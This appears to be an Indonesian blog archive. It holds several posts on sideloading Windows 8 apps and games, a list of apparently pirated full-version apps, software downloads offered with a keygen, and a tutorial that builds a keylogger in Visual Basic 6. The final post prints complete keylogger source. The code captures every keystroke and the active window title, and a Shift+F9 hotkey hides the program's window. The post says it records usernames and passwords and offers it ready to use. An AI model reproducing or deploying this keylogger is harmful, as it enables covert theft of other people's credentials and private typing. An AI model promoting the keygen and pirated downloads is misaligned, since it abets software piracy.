Install Aplikasi / Games Windows 8 / Windows 8.1 OFFLINE

lama tidak posting, dan traffic blog sudah mulai turun, jadi kali ini ada kesempatan untuk update lagi..
OK kali ini akan saya share tentang bagaimana menginstall aplikasi atau games metro pada windows 8 / 8.1

ada dua cara untuk menginstallnya cara pertama menggunakan PowerShell , dan yang kedua menggunakan aplikasi Metro Sideloader
Kita lansung kecara pertama yaitu menggunakan Powershell
-Buka Powershell dulu (caranya tau kan?)
-Lalu ketikan perintah -> add-appxpackage
-Kemudian drag file .APPX (file aplikasi /games win 8/8.1 yg sudah didownload)
-lalu tekan enter, dan tunggu beberapa detik sampai selesai.

Sekarang kita mulai cara kedua..
-Siapkan aplikasi Metro Sideloader, belum punya download disini
-jika sudah, kita buka sideloadernya, dengan mode "Run As Administrator", dan akan muncul seperti berikut
-Setelah itu kita klik "Renew"  lalu akan muncul kotak dialog persetujuan, klik "I Agree"
-Tunggu beberapa saat, sampai muncul kotak untuk login ke akun Microsoft, lalu login 
-setelah login, kita sudah bisa menginstall aplikasi atau game windows 8/8.1 secara offline
-Klik browse dan pilih aplikasi atau game win 8/8.1 yang akan diinstall
-Signing Cert tidak perlu diisi
-Kemudian Klik Deploy dan tunggu sampai selesai (muncul tulisan Successful)

NB: untuk renew lihat tanggal expires'y jika habis maka harus renew lagi

nah untuk Game atau aplikasinya saya punya sedikit link games atau aplikasi yang di upload oleh member kaskus yang cukup rajin upload, link ada dibawah

abcNotes Full x86| 23 MB
Angry Bird Space Full x86 | 40 MB
Angry Bird Star Wars Full x86 | 40 MB
Art Text Full x64 | 39 MB
Chess Pro Full x86 | 3 MB
Chimpact Full x64 x86 | 55 MB
Fruit Ninja Full x64 | 81 MB
Gravity Guy Full x64 x86 | 40 MB
iStunt Full x64 x86 | 32 MB
iUnarchive Full x86 | 2 MB
Jetpack Joyride .appx x86 | 37 MB
Monster Island Full x64 x86 | 40 MB
Music Info Full x64 x86 | 5,5 MB
Ninja Joe Full x86 | 35 MB
Picassa MX Full x86 | 7 MB
Poker HD Full x64 | 7 MB
PowerDVD Full x86 | 11 MB
Riptide GP Full x64 x86 | 47 MB
Shark Dash Full x64 x86 | 80 MB
Tabstagram Full x64 | 0,5 MB
Modern File Full x86 | 1 MB

Sekian Postingan kali ini kurang lebihnya ane minta maaf...
jika masih kebingungan, komen aja bro..

Windows 7 Manager

Assalamuallaikum,,

setelah kemarin saya kasih windows 8 manager , sekarang saya kasih buat pengguna windows 7
Fungsinya sama dengan Windows 7 Manager namun ini lebih complitible dengan windows 7..

Lihat Screenshotnya :


Oke yang berminat silahkan Download :
Windows 7 Manager : Dwi Swini
Keygen : Dwi swini

Sekian Postingan kali ini
semoga bermanfaat dan 'jadilah Pengunjung yang baik'

Wassalam

Windows 8 Manager

hari ini saya akan share aplikasi Windows 8 Manager
aplikasi ini seperti TuneUp Utilities, hanya aplikasi ini di khususkan untuk Windows 8

aplikasi ini juga dapat digunakan untuk mendefrag, sebagai cleaner, dan mengoptimalkan penggunaan Windows 8 anda


ini salah satu fiturnya 

anda tertarik??????
sama, saya juga :3

oke langsung saja ini link downloadnya : HERE

sekian postingan kali ini, 
ketemu lagi di postingan berikutnya :)


Games Batman Vengeance

kali ini saya akan share game Batman Vengeance, 
game ini menceritakan perjalanan manusia kelelawar melawan penjahat penjahat untuk menyelamatkan kotanya

beberapa screenshot :


dari screenshot diatas terlihat sangat seru jika kita memainkan peran sang batman itu
dari pada ngiler liat screenshot, mending langsung download gamenya




Sekian postingan kali ini 

Membuat Keylogger di Visual Basic 6 (VB6)

Assalamuallaikum
kali ini saya akan post tentang bagaimana membuat Aplikasi Keylogger di Vosual Basic 6

sebelum itu saya akan menjalaskan terlebih dahulu apa itu keylogger?
Keylogger adalah aplikasi untuk merekam apa pun yang kita ketik di PC / Laptop kita. seperti "username", "password", "notes", dll.

ok kita langsung saja mulai
kita memerlukan 1 PC atau Laptop
Aplikasi Visual Basic 6 (portable juga gapapa)
dan niat :)

Pertama buka aplikasi Visual Basic 6 (VB6)
bikin Project baru dan pilih Standard EXE
setelah kebuka,, lalu buat tampilan seperti berikut :

Ket: 
- 4 Command Bottom
- 2 Timer
- 1 Text Box
- beberapa Text *

setelah itu lalu kita masukkan code berikut :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
End Sub

Private Sub Command3_Click()
backs = True
End Sub

Private Sub Command4_Click()
backs = False
End Sub

Private Sub Form_Load()
backs = True
End Sub

Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub

Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub

Ok setelah semua selesai sekarang kita coba dengan menekan F5
Keylogger Bikinan anda sendiripun sudah siap digunakan
Selamat mencoba :)
*Gunakan Keylogger dengan bijak

sekian dan terima kasih
Wassalamuallaikum